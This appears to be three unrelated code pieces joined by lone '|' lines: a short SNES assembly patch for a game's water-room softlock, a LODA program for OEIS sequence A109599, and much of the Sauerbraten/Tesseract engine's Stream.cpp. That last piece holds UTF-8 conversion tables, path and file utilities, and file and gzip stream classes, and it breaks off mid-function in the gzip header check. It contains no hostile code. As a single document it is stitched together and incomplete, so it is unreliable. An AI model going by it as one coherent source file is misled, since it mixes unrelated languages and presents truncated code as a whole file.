LDA $7EF06A : AND.b #$7F : STA $7EF06A ; clear water room 53 - inner room with the easy key flood softlock
+++
RTL
;================================================================================
|
; A109599: a(n) = A070864(n+8) - 4.
; Submitted by Jamie Morken(s2)
; 1,1,1,3,1,3,1,3,3,3,5,3,5,3,5,3,5,5,5,7,5,7,5,7,5,7,5,7,7,7,9,7,9,7,9,7,9,7,9,7,9,9,9,11,9,11,9,11,9,11,9,11,9,11,9,11,11,11,13,11,13,11,13,11,13,11,13,11,13,11,13,11,13,13,13,15,13,15,13,15,13,15,13,15,13,15
add $0,7
mov $1,$0
seq $1,70864 ; a(1) = a(2) = 1; a(n) = 2 + a(n - a(n-1)).
mov $0,$1
sub $0,4
|
// ===========================================================================
//
// Sauerbraten game engine source code, any release.
// Tesseract game engine source code, any release.
//
// Copyright (C) 2001-2017 Wouter van Oortmerssen, Lee Salzman, Mike Dysart, Robert Pointon, and Quinton Reeves
// Copyright (C) 2001-2017 Wouter van Oortmerssen, Lee Salzman, Mike Dysart, Robert Pointon, Quinton Reeves, and Benjamin Segovia
//
// This software is provided 'as-is', without any express or implied
// warranty. In no event will the authors be held liable for any damages
// arising from the use of this software.
//
// Permission is granted to anyone to use this software for any purpose,
// including commercial applications, and to alter it and redistribute it
// freely, subject to the following restrictions:
//
// 1. The origin of this software must not be misrepresented; you must not
// claim that you wrote the original software. If you use this software
// in a product, an acknowledgment in the product documentation would be
// appreciated but is not required.
// 2. Altered source versions must be plainly marked as such, and must not be
// misrepresented as being the original software.
// 3. This notice may not be removed or altered from any source distribution.
//
// ---------------------------------------------------------------------------
// File: Stream.cpp
// Description: Stream class
// ---------------------------------------------------------------------------
// Log: Source.
//
//
// ===========================================================================
#include "Core.h"
///////////////////////// character conversion ///////////////
#define CUBECTYPE(s, p, d, a, A, u, U) \
0, U, U, U, U, U, U, U, U, s, s, s, s, s, U, U, \
U, U, U, U, U, U, U, U, U, U, U, U, U, U, U, U, \
s, p, p, p, p, p, p, p, p, p, p, p, p, p, p, p, \
d, d, d, d, d, d, d, d, d, d, p, p, p, p, p, p, \
p, A, A, A, A, A, A, A, A, A, A, A, A, A, A, A, \
A, A, A, A, A, A, A, A, A, A, A, p, p, p, p, p, \
p, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, \
a, a, a, a, a, a, a, a, a, a, a, p, p, p, p, U, \
U, u, u, u, u, u, u, u, u, u, u, u, u, u, u, u, \
u, u, u, u, u, u, u, u, u, u, u, u, u, u, u, U, \
u, U, u, U, u, U, u, U, u, U, u, U, u, U, u, U, \
u, U, u, U, u, U, u, U, u, U, u, U, u, U, u, U, \
u, U, u, U, u, U, u, U, U, u, U, u, U, u, U, U, \
U, U, U, U, U, U, U, U, U, U, U, U, U, U, U, U, \
U, U, U, U, u, u, u, u, u, u, u, u, u, u, u, u, \
u, u, u, u, u, u, u, u, u, u, u, u, u, u, U, u
extern const uchar cubectype[256] =
{
CUBECTYPE(CT_SPACE,
CT_PRINT,
CT_PRINT|CT_DIGIT,
CT_PRINT|CT_ALPHA|CT_LOWER,
CT_PRINT|CT_ALPHA|CT_UPPER,
CT_PRINT|CT_UNICODE|CT_ALPHA|CT_LOWER,
CT_PRINT|CT_UNICODE|CT_ALPHA|CT_UPPER)
};
extern const int cube2unichars[256] =
{
0, 192, 193, 194, 195, 196, 197, 198, 199, 9, 10, 11, 12, 13, 200, 201,
202, 203, 204, 205, 206, 207, 209, 210, 211, 212, 213, 214, 216, 217, 218, 219,
32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47,
48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63,
64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79,
80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95,
96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111,
112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 220,
221, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237,
238, 239, 241, 242, 243, 244, 245, 246, 248, 249, 250, 251, 252, 253, 255, 0x104,
0x105, 0x106, 0x107, 0x10C, 0x10D, 0x10E, 0x10F, 0x118, 0x119, 0x11A, 0x11B, 0x11E, 0x11F, 0x130, 0x131, 0x141,
0x142, 0x143, 0x144, 0x147, 0x148, 0x150, 0x151, 0x152, 0x153, 0x158, 0x159, 0x15A, 0x15B, 0x15E, 0x15F, 0x160,
0x161, 0x164, 0x165, 0x16E, 0x16F, 0x170, 0x171, 0x178, 0x179, 0x17A, 0x17B, 0x17C, 0x17D, 0x17E, 0x404, 0x411,
0x413, 0x414, 0x416, 0x417, 0x418, 0x419, 0x41B, 0x41F, 0x423, 0x424, 0x426, 0x427, 0x428, 0x429, 0x42A, 0x42B,
0x42C, 0x42D, 0x42E, 0x42F, 0x431, 0x432, 0x433, 0x434, 0x436, 0x437, 0x438, 0x439, 0x43A, 0x43B, 0x43C, 0x43D,
0x43F, 0x442, 0x444, 0x446, 0x447, 0x448, 0x449, 0x44A, 0x44B, 0x44C, 0x44D, 0x44E, 0x44F, 0x454, 0x490, 0x491
};
extern const int uni2cubeoffsets[8] =
{
0, 256, 658, 658, 512, 658, 658, 658
};
extern const uchar uni2cubechars[878] =
{
0, 0, 0, 0, 0, 0, 0, 0, 0, 9, 10, 11, 12, 13, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63,
64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95,
96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
1, 2, 3, 4, 5, 6, 7, 8, 14, 15, 16, 17, 18, 19, 20, 21, 0, 22, 23, 24, 25, 26, 27, 0, 28, 29, 30, 31, 127, 128, 0, 129,
130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 0, 146, 147, 148, 149, 150, 151, 0, 152, 153, 154, 155, 156, 157, 0, 158,
0, 0, 0, 0, 159, 160, 161, 162, 0, 0, 0, 0, 163, 164, 165, 166, 0, 0, 0, 0, 0, 0, 0, 0, 167, 168, 169, 170, 0, 0, 171, 172,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 173, 174, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 175, 176, 177, 178, 0, 0, 179, 180, 0, 0, 0, 0, 0, 0, 0, 181, 182, 183, 184, 0, 0, 0, 0, 185, 186, 187, 188, 0, 0, 189, 190,
191, 192, 0, 0, 193, 194, 0, 0, 0, 0, 0, 0, 0, 0, 195, 196, 197, 198, 0, 0, 0, 0, 0, 0, 199, 200, 201, 202, 203, 204, 205, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 17, 0, 0, 206, 83, 73, 21, 74, 0, 0, 0, 0, 0, 0, 0, 65, 207, 66, 208, 209, 69, 210, 211, 212, 213, 75, 214, 77, 72, 79, 215,
80, 67, 84, 216, 217, 88, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 97, 228, 229, 230, 231, 101, 232, 233, 234, 235, 236, 237, 238, 239, 111, 240,
112, 99, 241, 121, 242, 120, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 0, 141, 0, 0, 253, 115, 105, 145, 106, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 254, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
};
extern const uchar cubelowerchars[256] =
{
0, 130, 131, 132, 133, 134, 135, 136, 137, 9, 10, 11, 12, 13, 138, 139,
140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155,
32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47,
48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63,
64, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111,
112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 91, 92, 93, 94, 95,
96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111,
112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 156,
157, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143,
144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 160,
160, 162, 162, 164, 164, 166, 166, 168, 168, 170, 170, 172, 172, 105, 174, 176,
176, 178, 178, 180, 180, 182, 182, 184, 184, 186, 186, 188, 188, 190, 190, 192,
192, 194, 194, 196, 196, 198, 198, 158, 201, 201, 203, 203, 205, 205, 206, 207,
208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223,
224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239,
240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255
};
extern const uchar cubeupperchars[256] =
{
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47,
48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63,
64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79,
80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95,
96, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79,
80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 123, 124, 125, 126, 127,
128, 129, 1, 2, 3, 4, 5, 6, 7, 8, 14, 15, 16, 17, 18, 19,
20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 127, 128, 199, 159,
159, 161, 161, 163, 163, 165, 165, 167, 167, 169, 169, 171, 171, 173, 73, 175,
175, 177, 177, 179, 179, 181, 181, 183, 183, 185, 185, 187, 187, 189, 189, 191,
191, 193, 193, 195, 195, 197, 197, 199, 200, 200, 202, 202, 204, 204, 206, 207,
208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223,
224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239,
240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255
};
size_t decodeutf8(uchar *dstbuf, size_t dstlen, const uchar *srcbuf, size_t srclen, size_t *carry)
{
uchar *dst = dstbuf, *dstend = &dstbuf[dstlen];
const uchar *src = srcbuf, *srcend = &srcbuf[srclen];
if(dstbuf == srcbuf)
{
int len = min(dstlen, srclen);
for(const uchar *end4 = &srcbuf[len&~3]; src < end4; src += 4) if(*(const int *)src & 0x80808080) goto decode;
for(const uchar *end = &srcbuf[len]; src < end; src++) if(*src & 0x80) goto decode;
if(carry) *carry += len;
return len;
}
decode:
dst += src - srcbuf;
while(src < srcend && dst < dstend)
{
int c = *src++;
if(c < 0x80) *dst++ = c;
else if(c >= 0xC0)
{
int uni;
if(c >= 0xE0)
{
if(c >= 0xF0)
{
if(c >= 0xF8)
{
if(c >= 0xFC)
{
if(c >= 0xFE) continue;
uni = c&1; if(srcend - src < 5) break;
c = *src; if((c&0xC0) != 0x80) continue; src++; uni = (uni<<6) | (c&0x3F);
}
else { uni = c&3; if(srcend - src < 4) break; }
c = *src; if((c&0xC0) != 0x80) continue; src++; uni = (uni<<6) | (c&0x3F);
}
else { uni = c&7; if(srcend - src < 3) break; }
c = *src; if((c&0xC0) != 0x80) continue; src++; uni = (uni<<6) | (c&0x3F);
}
else { uni = c&0xF; if(srcend - src < 2) break; }
c = *src; if((c&0xC0) != 0x80) continue; src++; uni = (uni<<6) | (c&0x3F);
}
else { uni = c&0x1F; if(srcend - src < 1) break; }
c = *src; if((c&0xC0) != 0x80) continue; src++; uni = (uni<<6) | (c&0x3F);
c = uni2cube(uni);
if(!c) continue;
*dst++ = c;
}
}
if(carry) *carry += src - srcbuf;
return dst - dstbuf;
}
size_t encodeutf8(uchar *dstbuf, size_t dstlen, const uchar *srcbuf, size_t srclen, size_t *carry)
{
uchar *dst = dstbuf, *dstend = &dstbuf[dstlen];
const uchar *src = srcbuf, *srcend = &srcbuf[srclen];
if(src < srcend && dst < dstend) do
{
int uni = cube2uni(*src);
if(uni <= 0x7F)
{
if(dst >= dstend) goto done;
const uchar *end = min(srcend, &src[dstend-dst]);
do
{
if(uni == '\f')
{
if(++src >= srcend) goto done;
goto uni1;
}
*dst++ = uni;
if(++src >= end) goto done;
uni = cube2uni(*src);
}
while(uni <= 0x7F);
}
if(uni <= 0x7FF) { if(dst + 2 > dstend) goto done; *dst++ = 0xC0 | (uni>>6); goto uni2; }
else if(uni <= 0xFFFF) { if(dst + 3 > dstend) goto done; *dst++ = 0xE0 | (uni>>12); goto uni3; }
else if(uni <= 0x1FFFFF) { if(dst + 4 > dstend) goto done; *dst++ = 0xF0 | (uni>>18); goto uni4; }
else if(uni <= 0x3FFFFFF) { if(dst + 5 > dstend) goto done; *dst++ = 0xF8 | (uni>>24); goto uni5; }
else if(uni <= 0x7FFFFFFF) { if(dst + 6 > dstend) goto done; *dst++ = 0xFC | (uni>>30); goto uni6; }
else goto uni1;
uni6: *dst++ = 0x80 | ((uni>>24)&0x3F);
uni5: *dst++ = 0x80 | ((uni>>18)&0x3F);
uni4: *dst++ = 0x80 | ((uni>>12)&0x3F);
uni3: *dst++ = 0x80 | ((uni>>6)&0x3F);
uni2: *dst++ = 0x80 | (uni&0x3F);
uni1:;
}
while(++src < srcend);
done:
if(carry) *carry += src - srcbuf;
return dst - dstbuf;
}
///////////////////////// file system ///////////////////////
#ifdef WIN32
#include <shlobj.h>
#else
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <dirent.h>
#endif
string homedir = "";
struct packagedir
{
char *dir, *filter;
size_t dirlen, filterlen;
};
vector<packagedir> packagedirs;
char *makerelpath(const char *dir, const char *file, const char *prefix, const char *cmd)
{
static string tmp;
if(prefix) copystring(tmp, prefix);
else tmp[0] = '\0';
if(file[0]=='<')
{
const char *end = strrchr(file, '>');
if(end)
{
size_t len = strlen(tmp);
copystring(&tmp[len], file, min(sizeof(tmp)-len, size_t(end+2-file)));
file = end+1;
}
}
if(cmd) concatstring(tmp, cmd);
if(dir)
{
defformatstring(pname, "%s/%s", dir, file);
concatstring(tmp, pname);
}
else concatstring(tmp, file);
return tmp;
}
char *path(char *s)
{
for(char *curpart = s;;)
{
char *endpart = strchr(curpart, '&');
if(endpart) *endpart = '\0';
if(curpart[0]=='<')
{
char *file = strrchr(curpart, '>');
if(!file) return s;
curpart = file+1;
}
for(char *t = curpart; (t = strpbrk(t, "/\\")); *t++ = PATHDIV);
for(char *prevdir = NULL, *curdir = curpart;;)
{
prevdir = curdir[0]==PATHDIV ? curdir+1 : curdir;
curdir = strchr(prevdir, PATHDIV);
if(!curdir) break;
if(prevdir+1==curdir && prevdir[0]=='.')
{
memmove(prevdir, curdir+1, strlen(curdir+1)+1);
curdir = prevdir;
}
else if(curdir[1]=='.' && curdir[2]=='.' && curdir[3]==PATHDIV)
{
if(prevdir+2==curdir && prevdir[0]=='.' && prevdir[1]=='.') continue;
memmove(prevdir, curdir+4, strlen(curdir+4)+1);
if(prevdir-2 >= curpart && prevdir[-1]==PATHDIV)
{
prevdir -= 2;
while(prevdir-1 >= curpart && prevdir[-1] != PATHDIV) --prevdir;
}
curdir = prevdir;
}
}
if(endpart)
{
*endpart = '&';
curpart = endpart+1;
}
else break;
}
return s;
}
char *path(const char *s, bool copy)
{
static string tmp;
copystring(tmp, s);
path(tmp);
return tmp;
}
const char *parentdir(const char *directory)
{
const char *p = directory + strlen(directory);
while(p > directory && *p != '/' && *p != '\\') p--;
static string parent;
size_t len = p-directory+1;
copystring(parent, directory, len);
return parent;
}
bool fileexists(const char *path, const char *mode)
{
bool exists = true;
if(mode[0]=='w' || mode[0]=='a') path = parentdir(path);
#ifdef WIN32
if(GetFileAttributes(path[0] ? path : ".\\") == INVALID_FILE_ATTRIBUTES) exists = false;
#else
if(access(path[0] ? path : ".", mode[0]=='w' || mode[0]=='a' ? W_OK : (mode[0]=='d' ? X_OK : R_OK)) == -1) exists = false;
#endif
return exists;
}
bool createdir(const char *path)
{
size_t len = strlen(path);
if(path[len-1]==PATHDIV)
{
static string strip;
path = copystring(strip, path, len);
}
#ifdef WIN32
return CreateDirectory(path, NULL)!=0;
#else
return mkdir(path, 0777)==0;
#endif
}
size_t fixpackagedir(char *dir)
{
path(dir);
size_t len = strlen(dir);
if(len > 0 && dir[len-1] != PATHDIV)
{
dir[len] = PATHDIV;
dir[len+1] = '\0';
}
return len;
}
bool subhomedir(char *dst, int len, const char *src)
{
const char *sub = strstr(src, "$HOME");
if(!sub) sub = strchr(src, '~');
if(sub && sub-src < len)
{
#ifdef WIN32
char home[MAX_PATH+1];
home[0] = '\0';
if(SHGetFolderPath(NULL, CSIDL_PERSONAL, NULL, 0, home) != S_OK || !home[0]) return false;
#else
const char *home = getenv("HOME");
if(!home || !home[0]) return false;
#endif
dst[sub-src] = '\0';
concatstring(dst, home, len);
concatstring(dst, sub+(*sub == '~' ? 1 : strlen("$HOME")), len);
}
return true;
}
const char *sethomedir(const char *dir)
{
string pdir;
copystring(pdir, dir);
if(!subhomedir(pdir, sizeof(pdir), dir) || !fixpackagedir(pdir)) return NULL;
copystring(homedir, pdir);
return homedir;
}
const char *addpackagedir(const char *dir)
{
string pdir;
copystring(pdir, dir);
if(!subhomedir(pdir, sizeof(pdir), dir) || !fixpackagedir(pdir)) return NULL;
char *filter = pdir;
for(;;)
{
static int len = strlen("Game");
filter = strstr(filter, "Game");
if(!filter) break;
if(filter > pdir && filter[-1] == PATHDIV && filter[len] == PATHDIV) break;
filter += len;
}
packagedir &pf = packagedirs.add();
pf.dir = filter ? newstring(pdir, filter-pdir) : newstring(pdir);
pf.dirlen = filter ? filter-pdir : strlen(pdir);
pf.filter = filter ? newstring(filter) : NULL;
pf.filterlen = filter ? strlen(filter) : 0;
return pf.dir;
}
const char *findfile(const char *filename, const char *mode)
{
static string s;
if(homedir[0])
{
formatstring(s, "%s%s", homedir, filename);
if(fileexists(s, mode)) return s;
if(mode[0]=='w' || mode[0]=='a')
{
string dirs;
copystring(dirs, s);
char *dir = strchr(dirs[0]==PATHDIV ? dirs+1 : dirs, PATHDIV);
while(dir)
{
*dir = '\0';
if(!fileexists(dirs, "d") && !createdir(dirs)) return s;
*dir = PATHDIV;
dir = strchr(dir+1, PATHDIV);
}
return s;
}
}
if(mode[0]=='w' || mode[0]=='a') return filename;
loopv(packagedirs)
{
packagedir &pf = packagedirs[i];
if(pf.filter && strncmp(filename, pf.filter, pf.filterlen)) continue;
formatstring(s, "%s%s", pf.dir, filename);
if(fileexists(s, mode)) return s;
}
if(mode[0]=='e') return NULL;
return filename;
}
bool listdir(const char *dirname, bool rel, const char *ext, vector<char *> &files)
{
size_t extsize = ext ? strlen(ext)+1 : 0;
#ifdef WIN32
defformatstring(pathname, rel ? ".\\%s\\*.%s" : "%s\\*.%s", dirname, ext ? ext : "*");
WIN32_FIND_DATA FindFileData;
HANDLE Find = FindFirstFile(pathname, &FindFileData);
if(Find != INVALID_HANDLE_VALUE)
{
do {
if(!ext) files.add(newstring(FindFileData.cFileName));
else
{
size_t namelen = strlen(FindFileData.cFileName);
if(namelen > extsize)
{
namelen -= extsize;
if(FindFileData.cFileName[namelen] == '.' && strncmp(FindFileData.cFileName+namelen+1, ext, extsize-1)==0)
files.add(newstring(FindFileData.cFileName, namelen));
}
}
} while(FindNextFile(Find, &FindFileData));
FindClose(Find);
return true;
}
#else
defformatstring(pathname, rel ? "./%s" : "%s", dirname);
DIR *d = opendir(pathname);
if(d)
{
struct dirent *de;
while((de = readdir(d)) != NULL)
{
if(!ext) files.add(newstring(de->d_name));
else
{
size_t namelen = strlen(de->d_name);
if(namelen > extsize)
{
namelen -= extsize;
if(de->d_name[namelen] == '.' && strncmp(de->d_name+namelen+1, ext, extsize-1)==0)
files.add(newstring(de->d_name, namelen));
}
}
}
closedir(d);
return true;
}
#endif
else return false;
}
int listfiles(const char *dir, const char *ext, vector<char *> &files)
{
string dirname;
copystring(dirname, dir);
path(dirname);
size_t dirlen = strlen(dirname);
while(dirlen > 1 && dirname[dirlen-1] == PATHDIV) dirname[--dirlen] = '\0';
int dirs = 0;
if(listdir(dirname, true, ext, files)) dirs++;
string s;
if(homedir[0])
{
formatstring(s, "%s%s", homedir, dirname);
if(listdir(s, false, ext, files)) dirs++;
}
loopv(packagedirs)
{
packagedir &pf = packagedirs[i];
if(pf.filter && strncmp(dirname, pf.filter, dirlen == pf.filterlen-1 ? dirlen : pf.filterlen))
continue;
formatstring(s, "%s%s", pf.dir, dirname);
if(listdir(s, false, ext, files)) dirs++;
}
#ifndef STANDALONE
dirs += listzipfiles(dirname, ext, files);
#endif
return dirs;
}
#ifndef STANDALONE
static Sint64 rwopsseek(SDL_RWops *rw, Sint64 pos, int whence)
{
stream *f = (stream *)rw->hidden.unknown.data1;
if((!pos && whence==SEEK_CUR) || f->seek(pos, whence)) return (int)f->tell();
return -1;
}
static size_t rwopsread(SDL_RWops *rw, void *buf, size_t size, size_t nmemb)
{
stream *f = (stream *)rw->hidden.unknown.data1;
return f->read(buf, size*nmemb)/size;
}
static size_t rwopswrite(SDL_RWops *rw, const void *buf, size_t size, size_t nmemb)
{
stream *f = (stream *)rw->hidden.unknown.data1;
return f->write(buf, size*nmemb)/size;
}
static int rwopsclose(SDL_RWops *rw)
{
return 0;
}
SDL_RWops *stream::rwops()
{
SDL_RWops *rw = SDL_AllocRW();
if(!rw) return NULL;
rw->hidden.unknown.data1 = this;
rw->seek = rwopsseek;
rw->read = rwopsread;
rw->write = rwopswrite;
rw->close = rwopsclose;
return rw;
}
#endif
stream::offset stream::size()
{
offset pos = tell(), endpos;
if(pos < 0 || !seek(0, SEEK_END)) return -1;
endpos = tell();
return pos == endpos || seek(pos, SEEK_SET) ? endpos : -1;
}
bool stream::getline(char *str, size_t len)
{
loopi(len-1)
{
if(read(&str[i], 1) != 1) { str[i] = '\0'; return i > 0; }
else if(str[i] == '\n') { str[i+1] = '\0'; return true; }
}
if(len > 0) str[len-1] = '\0';
return true;
}
size_t stream::printf(const char *fmt, ...)
{
char buf[512];
char *str = buf;
va_list args;
#if defined(WIN32) && !defined(__GNUC__)
va_start(args, fmt);
int len = _vscprintf(fmt, args);
if(len <= 0) { va_end(args); return 0; }
if(len >= (int)sizeof(buf)) str = new char[len+1];
_vsnprintf(str, len+1, fmt, args);
va_end(args);
#else
va_start(args, fmt);
int len = vsnprintf(buf, sizeof(buf), fmt, args);
va_end(args);
if(len <= 0) return 0;
if(len >= (int)sizeof(buf))
{
str = new char[len+1];
va_start(args, fmt);
vsnprintf(str, len+1, fmt, args);
va_end(args);
}
#endif
size_t n = write(str, len);
if(str != buf) delete[] str;
return n;
}
struct filestream : stream
{
FILE *file;
filestream() : file(NULL) {}
~filestream() { close(); }
bool open(const char *name, const char *mode)
{
if(file) return false;
file = fopen(name, mode);
return file!=NULL;
}
bool opentemp(const char *name, const char *mode)
{
if(file) return false;
#ifdef WIN32
file = fopen(name, mode);
#else
file = tmpfile();
#endif
return file!=NULL;
}
void close()
{
if(file) { fclose(file); file = NULL; }
}
bool end() { return feof(file)!=0; }
offset tell()
{
#ifdef WIN32
#ifdef __GNUC__
offset off = ftello64(file);
#else
offset off = _ftelli64(file);
#endif
#else
offset off = ftello(file);
#endif
// ftello returns LONG_MAX for directories on some platforms
return off + 1 >= 0 ? off : -1;
}
bool seek(offset pos, int whence)
{
#ifdef WIN32
#ifdef __GNUC__
return fseeko64(file, pos, whence) >= 0;
#else
return _fseeki64(file, pos, whence) >= 0;
#endif
#else
return fseeko(file, pos, whence) >= 0;
#endif
}
size_t read(void *buf, size_t len) { return fread(buf, 1, len, file); }
size_t write(const void *buf, size_t len) { return fwrite(buf, 1, len, file); }
bool flush() { return !fflush(file); }
int getchar() { return fgetc(file); }
bool putchar(int c) { return fputc(c, file)!=EOF; }
bool getline(char *str, size_t len) { return fgets(str, len, file)!=NULL; }
bool putstring(const char *str) { return fputs(str, file)!=EOF; }
size_t printf(const char *fmt, ...)
{
va_list v;
va_start(v, fmt);
int result = vfprintf(file, fmt, v);
va_end(v);
return max(result, 0);
}
};
#ifndef STANDALONE
VAR(dbggz, 0, 0, 1);
#endif
struct gzstream : stream
{
enum
{
MAGIC1 = 0x1F,
MAGIC2 = 0x8B,
BUFSIZE = 16384,
OS_UNIX = 0x03
};
enum
{
F_ASCII = 0x01,
F_CRC = 0x02,
F_EXTRA = 0x04,
F_NAME = 0x08,
F_COMMENT = 0x10,
F_RESERVED = 0xE0
};
stream *file;
z_stream zfile;
uchar *buf;
bool reading, writing, autoclose;
uint crc;
size_t headersize;
gzstream() : file(NULL), buf(NULL), reading(false), writing(false), autoclose(false), crc(0), headersize(0)
{
zfile.zalloc = NULL;
zfile.zfree = NULL;
zfile.opaque = NULL;
zfile.next_in = zfile.next_out = NULL;
zfile.avail_in = zfile.avail_out = 0;
}
~gzstream()
{
close();
}
void writeheader()
{
uchar header[] = { MAGIC1, MAGIC2, Z_DEFLATED, 0, 0, 0, 0, 0, 0, OS_UNIX };
file->write(header, sizeof(header));
}
void readbuf(size_t size = BUFSIZE)
{
if(!zfile.avail_in) zfile.next_in = (Bytef *)buf;
size = min(size, size_t(&buf[BUFSIZE] - &zfile.next_in[zfile.avail_in]));
size_t n = file->read(zfile.next_in + zfile.avail_in, size);
if(n > 0) zfile.avail_in += n;
}
uchar readbyte(size_t size = BUFSIZE)
{
if(!zfile.avail_in) readbuf(size);
if(!zfile.avail_in) return 0;
zfile.avail_in--;
return *(uchar *)zfile.next_in++;
}
void skipbytes(size_t n)
{
while(n > 0 && zfile.avail_in > 0)
{
size_t skipped = min(n, size_t(zfile.avail_in));
zfile.avail_in -= skipped;
zfile.next_in += skipped;
n -= skipped;
}
if(n <= 0) return;
file->seek(n, SEEK_CUR);
}
bool checkheader()
{
readbuf(10);
if(readbyte() != MAGIC1 || readbyte() != MAGIC2 || readbyte() != Z_DEFLATED) return false;
uchar flags = readbyte();
if(flags & F_RESERVED) return false;
skipbytes(6);
if(flags & F_EXTRA)
{
